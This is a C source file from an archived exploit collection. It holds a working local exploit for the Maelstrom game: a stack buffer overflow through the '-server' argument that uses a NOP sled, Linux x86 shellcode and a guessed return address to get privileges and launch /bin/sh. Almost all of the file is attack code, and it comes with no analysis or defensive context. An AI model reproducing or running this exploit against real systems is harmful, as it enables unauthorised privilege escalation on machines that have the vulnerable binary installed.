home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / maelstrom / Maelstrom-exp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  97 lines

  1. /*
  2.  * Maelstrom exploit By CMN <cmn@darklab.org>
  3.  *
  4.  * Tested on
  5.  *
  6.  * Maelstrom v1.4.3 (GPL version 3.0.6)
  7.  *  from Maelstrom-3.0.6-1.i386.rpm
  8.  *
  9.  * Maelstrom v1.4.3 (Linux version 3.0.3)
  10.  *  from Gentoo port
  11.  *
  12.  */
  13.  
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <unistd.h>
  17. #include <sys/types.h>
  18.  
  19. #define TARGET    "/usr/bin/Maelstrom"
  20. #define BUFSIZE    8179
  21. #define NOP        0x90
  22. #define OFFSET     100
  23.  
  24. static char linux_code[] =
  25.     "\xb9\xff\xff\xff\xff" /* movl    $-1, %ecx   */
  26.     "\x31\xc0"             /* xorl    %eax, %eax  */
  27.     "\xb0\x31"             /* movb    $0x31, %al  */
  28.     "\xcd\x80"             /* int     $0x80       */
  29.     "\x89\xc3"             /* movl    %eax, %ebx  */
  30.     "\xb0\x46"             /* movb    $0x46, %al  */
  31.     "\xcd\x80"             /* int     $0x80       */
  32.     "\x31\xc0"             /* xorl    %eax, %eax  */
  33.     "\xb0\x32"             /* movb    $0x32, %al  */
  34.     "\xcd\x80"             /* int     $0x80       */
  35.     "\x89\xc3"             /* movl    %eax, %ebx  */
  36.     "\xb0\x47"             /* movb    $0x47, %al  */
  37.     "\xcd\x80"             /* int     $0x80       */
  38.     "\x31\xd2"             /* xorl    %edx, %edx  */
  39.     "\x52"                 /* pushl   %edx        */
  40.     "\x68\x2f\x2f\x73\x68" /* pushl   $0x68732f2f */
  41.     "\x68\x2f\x62\x69\x6e" /* pushl   $0x6e69622f */
  42.     "\x89\xe3"             /* movl    %esp, %ebx  */
  43.     "\x52"                 /* pushl   %edx        */
  44.     "\x53"                 /* pushl   %ebx        */
  45.     "\x89\xe1"             /* movl    %esp, %ecx  */
  46.     "\xb0\x0b"             /* movb    $0xb, %al   */
  47.     "\xcd\x80"             /* int     $0x80       */
  48.     "\x31\xc0"             /* xorl    %eax, %eax  */
  49.     "\x40"                 /* inc     %eax        */
  50.     "\xcd\x80";            /* int     $0x80       */
  51.  
  52. int
  53. main(int argc, char *argv[])
  54. {
  55.     int ret = (u_long)(&ret);
  56.     u_char *target = TARGET;
  57.     u_char buf[BUFSIZE+1];
  58.     long offset = 0;
  59.     int i;
  60.  
  61.     memset(buf, NOP, BUFSIZE);
  62.     buf[BUFSIZE] = '\0';
  63.     buf[0] = '2';
  64.     buf[1] = '@';
  65.     memcpy(&buf[BUFSIZE-(strlen(linux_code)+4*sizeof(ret))],
  66.         linux_code, strlen(linux_code));
  67.  
  68.     while ( (i = getopt(argc, argv, "t:o:")) != -1) {
  69.  
  70.         switch(i) {
  71.             case 't':
  72.                 target = optarg;
  73.  
  74.             case 'o':
  75.                 offset = strtol(optarg, NULL, 0);
  76.                 break;
  77.  
  78.             default:
  79.                 printf("\nUsage: %s [-t target ] [-o offset]\n\n", argv[0]);
  80.                 exit(EXIT_FAILURE);
  81.         }
  82.     }
  83.  
  84.     ret -= offset ? offset : OFFSET;
  85.     memcpy(&buf[BUFSIZE-(sizeof(ret))], &ret, sizeof(ret));
  86.     memcpy(&buf[BUFSIZE-(2*sizeof(ret))], &ret, sizeof(ret));
  87.     memcpy(&buf[BUFSIZE-(3*sizeof(ret))], &ret, sizeof(ret));
  88.     memcpy(&buf[BUFSIZE-(4*sizeof(ret))], &ret, sizeof(ret));
  89.  
  90.     printf("Using address 0x%08lx\n", ret);
  91.     printf("Target is '%s'\n", target);
  92.     execlp(target, "CMN", "-server", buf, (char *)NULL);
  93.     perror("execle()");
  94.     exit(EXIT_FAILURE);
  95. }
  96.  
  97.